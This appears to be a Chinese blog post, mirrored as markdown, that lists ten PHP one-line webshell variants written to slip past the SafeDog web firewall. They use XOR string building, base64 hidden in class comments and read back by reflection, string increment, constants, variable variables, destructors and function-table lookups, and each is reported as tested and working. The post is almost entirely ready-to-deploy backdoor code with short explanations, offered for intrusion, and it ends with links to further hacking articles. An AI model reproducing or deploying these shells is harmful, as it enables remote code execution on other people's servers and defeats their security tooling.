Skip to content

Latest commit

 

History

History
333 lines (208 loc) · 11 KB

列了几种均能过安全狗的方法!.md

File metadata and controls

333 lines (208 loc) · 11 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

扫码领资料

获黑客教程

免费 & 进群

本文由团队 - 手电筒分享

更多免费视频教程,渗透思路技巧,欢迎扫码领取哦,看完视频直接做靶场练手! 熟****悉相关技能的原理,熟悉相关技能的操作。

看我平常都是如何绕 WA********F 的!

1.php 的异或运算

$a="~+d()"^"!{+{}"

这个表示了 $a = 这两个字符串之间进行一个异或运算

运算异或运算符,按二进制位进行异或运算

这里的运算会把符号转化为 ascii 码,再转化为二进制,再转化为十进制进行运算,再把结果转化为 ascii 码

通过这个转换的方式来绕过检测

<?php
$a= ("!"^"@").'ssert';
$a($_REQUEST[x]);
?>

测试可以成功连接

2. 通过获取注释去绕过

<?php
/**
YXNzZXJ0YmZnZmc=
*/
class Example
{
    public function fn()
    {
    }
}
通过一个空的类去获取,
$reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释
$zhushi = substr(($reflector->getDocComment()), 7, 12);然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示
//echo $zhushi;
$zhushi = base64_decode($zhushi);
$zhushi = substr($zhushi, 0, 6);
echo $zhushi;
foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
        print_r($$_request);
    }
}
/*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离
再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容
*/
$zhushi($_value);
//最后就是assert(传入的变量值)
?>

原理就是通过把 shell 加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成 shell

测试可以成功连接

3. 利用字符的运算符

<?php
    $__="assers"; 
    ++$__;
    //echo ++$__;
    $__($_REQUEST[x]);
?>

设 $__ 为字符串 assers, 然后对这个字符串进行自增操作

这里 ++ 是直接对这个字符串里的最后一个字符进行自增操作,得到结果为 assert

然后去拼接 ($_REQUEST[x]);,生成 shell

测试可以正常连接

4. 通过 end 函数代替 []

<?php eval(end($_REQUEST));?>

这里的 end 函数的作用是输出数组中当前元素和最后一个元素的值

这里由于传参就一个,所以就直接输出我们传参的值,从而可以传入参数,这里就是我们传入参数相当于 shell 里的传参

测试可以正常连接

5. 通过常量去绕过

<?php define("a","$_GET[1]");eval(a);?>

这里的关键在于 define 函数,这个函数的作用是定义一个常量

我们这里设置一个常量为 a,它的值是 $_GET[1],然后再去 eval 执行常量 a,实际就是 eval($_GET[1]);, 从而达到绕过的目的

测试可以正常连接

6. 字符串拼接 + 双美元符

<?php
    $a='ass';  
    $b='ert';
    $funcName=$a.$b;
    $x='funcName';
$$x($_REQUEST[1]);
?>

这里通过把关键的 assert 进行分割,然后拼接

再通过 $$, 利用可变变量去执行

测试可以正常连接

7. 通过函数定义绕过

<?php
function a($a){
return $a;}
eval(a($_REQUEST)[1]);
?>

这里设置一个用户自定义函数 a, 当里面有参数时,返回该参数的内容

这里 shell 里的 a($_REQUEST)[1] 的实际效果为 a($_REQUEST)

相当于是 a($a),会返回 $a 的内容

结果为 $_REQUEST,最后一行的实际内容为 eval($_REQUEST[1]);

测试可以正常连接

8. 通过类定义,然后传参分割

<?php
class User
{
  public $name = '';
  function __destruct(){
    eval("$this->name");
  }
}
$user = new User;
$user->name = ''.$_REQUEST[1];
?>

通过类定义,定义一个类 User, 设置 $name 为空,然后设置一个析构函数,脚本运行结束之前会调用对象,然后 eval 去执行, 后面用 new 函数将对象实例化并输出方法,

然后,$user->name 这个相当于是 $this->name,等于’’.$_REQUEST[1];

最后 $user->name = ‘’.$_REQUEST[1]; 

相当于 eval($_REQUEST[1])

测试可以正常连接

9. 多传参方式绕过

<?php
$COOKIE = $_COOKIE;
foreach($COOKIE as $key => $value){
        if($key=='assert'){
            $key($_REQUEST['s']);
        }
    }
?>

这里设置 $cookie 为获取的 cookie 传参,这里是个数组,然后通过 foreach 遍历,再进行键值分离,$key 为键,$value 为值

然后进行一个 if 判断,当 $key 为 assert 时,$key 拼接 ($_REQUEST[‘s’]); 达到生成 shell 效果

测试可以正常连接


10. 通过 get_defined_functions 绕过

<?php
$a=get_defined_functions();
$a['internal'][841]($_GET['a']);
?>

这个 get_defined_functions 函数作用是返回所有已定义的函数,包括内置函数和用户定义的函数,这里通过 get_defined_functions 得到所有函数,

然后通过 [‘internal’][841] 去访问并调用相应函数,然后后接($_GET[‘a’]),生成 shell

测试可以正常连接

用安全狗进行检测


以上方案里的均能过安全狗

关于 webshell 绕过其实还有许多其他的办法,

后续学习到了新方法会继续在本文的基础上做补充,觉得有用可以点个赞哦~

@

**欢迎加我微信:zkaq99、**实时分享安全动态


[

超级牛批的 IP 地址查询工具

2021-06-25

](http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247524023&idx=2&sn=f672c41128061e1577758d7ebd964a00&chksm=ebead79adc9d5e8c75e4a6af7b245b88077ede960ded86265fa14ac4e34611b3201d23be26b9&scene=21#wechat_redirect)

[

震惊!从一个 0day 到两个 0day 的奇妙之旅

2021-06-23

](http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247523571&idx=1&sn=4db6247e86abe84872c4ce090a9922e5&chksm=ebead5dedc9d5cc8ee27e5a6111d044124e4802536e7cac695e8f5cd7452b21df86b2143daad&scene=21#wechat_redirect)

[

黑客技能|教你用手机代替各类门禁卡

2021-06-22

](http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247523367&idx=1&sn=b21ac7a31c017da78f7d45665fbc865b&chksm=ebead50adc9d5c1c006423d15e05ab402d023321f6fae6aaabc5c6876ff053faf9e77bf2b935&scene=21#wechat_redirect)

[

实战 | 偶遇一赌博网站,渗透诛之!

2021-06-20

](http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247523181&idx=1&sn=2cf5471f209baf9bad0a9cf2cdfb5b8f&chksm=ebead240dc9d5b562eb7e90acc1a900c010176abea6ba15ca747b066b60b55e937fc6f2cac53&scene=21#wechat_redirect)

[

一条 Fofa 搜索语法,实现批量挖洞

2021-06-15

](http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247522709&idx=1&sn=1470d7506167c835eaac4538a486c77f&chksm=ebead0b8dc9d59aeeac7b5d328146e8deab3fb1a25d650fb16d3575cba70e04a31079e7105ce&scene=21#wechat_redirect)

[

黑客技能|断网攻击与监听演示

2021-06-04

](http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247521713&idx=1&sn=ae4efd5b60465cf44be7b26e9abb5579&chksm=ebeadc9cdc9d558ad2b3dadf55a5571a0a5a52453248069186b2dc30101d9fc7b6cd5b88b343&scene=21#wechat_redirect)

高段位隐藏 IP、提高溯源难度的几种实用方案!

2021-05-27